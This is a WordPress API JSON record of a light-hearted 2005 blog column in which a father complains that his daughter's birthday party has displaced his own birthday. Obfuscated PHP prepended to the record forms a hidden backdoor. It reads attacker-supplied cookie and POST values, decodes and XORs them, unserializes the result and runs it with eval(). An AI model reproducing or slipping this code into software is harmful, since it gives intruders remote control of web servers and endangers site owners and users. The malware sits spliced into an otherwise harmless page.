$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":98,"date":"2005-08-14T11:38:37","date_gmt":"2005-08-14T17:38:37","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=98"},"modified":"2007-08-12T16:47:55","modified_gmt":"2007-08-12T22:47:55","slug":"happy-birthday-to-me","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=98","title":{"rendered":"Happy Birthday to Me"},"content":{"rendered":"

Instead of basking in the limelight, I will carry around goodie bags, pass out pizza and make sure no one gets lost in the ball pit.<\/p>\n

Happy birthday to me.<\/p>\n

I have generally been very nonchalant about my birthday. I don\u2019t like a lot of fuss. I want a little fuss, but I don\u2019t think I will even hat.<\/p>\n

For all these years, I have resisted making my birthday all about me. Now that it isn\u2019t about me, I regret it.<\/p>\n

In the past, all I really wanted was for Maria to cook a special dinner for me. I have a lot of stuff and have grown up enough to realize that I don\u2019t really need much more.<\/p>\n

Well, I do, but my wife would never spring for a large-screen plasma TV for me. Somehow, I will manage.<\/p>\n

I maintained that stance this year. I don\u2019t want anything except to have a special day with the people I love, I told Maria.<\/p>\n

What a load of bunk. I want presents galore. I want to invite friends to play games with me. I want someone to give me a goody bag.<\/p>\n

Maybe that will still happen. Maybe the whole take have my daughter\u2019s birthday party on my birthday thing is a ruse to get me to a surprise party.<\/p>\n

I hope so. I have never had a surprise party in my honor. I just hope I look surprised when I walk in and see all my friends and family there. I don\u2019t want to disappoint them.<\/p>\n

Who am I kidding? This isn\u2019t about me any more. This is about the kid.<\/p>\n

What a rip off.<\/p>\n

As usual, I will get no sympathy from my siblings. I\u2019m lucky that almost no one had a birthday within two weeks of mine for so many years. We have so many people who share birthdays, it\u2019s not funny.<\/p>\n

I should have seen this coming. When we realized that Bridget would be born around my birthday, I was pretty excited. How cool for us to have parties together?<\/p>\n

Except she won\u2019t share with me. I told her that I deserved a goodie bag and My Little Pony party hat just like everyone else since the party was taking place on my birthday. She shot me down.<\/p>\n

And when Maria went to buy all the party items, I requested Teenage Mutant Ninja Turtle items to celebrate my birthday. I got nothing, even though she saw TMNJ plates on sale.<\/p>\n

I feel like Rodney Dangerfield.<\/p>\n

I\u2019ll recover somehow. Maybe I\u2019ll just sit in the basement with the DVD of Old School and a six-pack. I just hope I can get my hands on a Ninja Turtle beer stein.<\/p>\n","protected":false},"excerpt":{"rendered":"

Today marks a very sad day in my life. I no longer have a birthday. Officially, I turn 37 today, but none of that really matters any more. My daughter turns 5 later this week and will have her birthday…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,16],"tags":[],"class_list":["post-98","post","type-post","status-publish","format-standard","hentry","category-columns","category-family","wpcat-3-id","wpcat-16-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/98","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=98"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/98\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=98"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=98"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=98"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}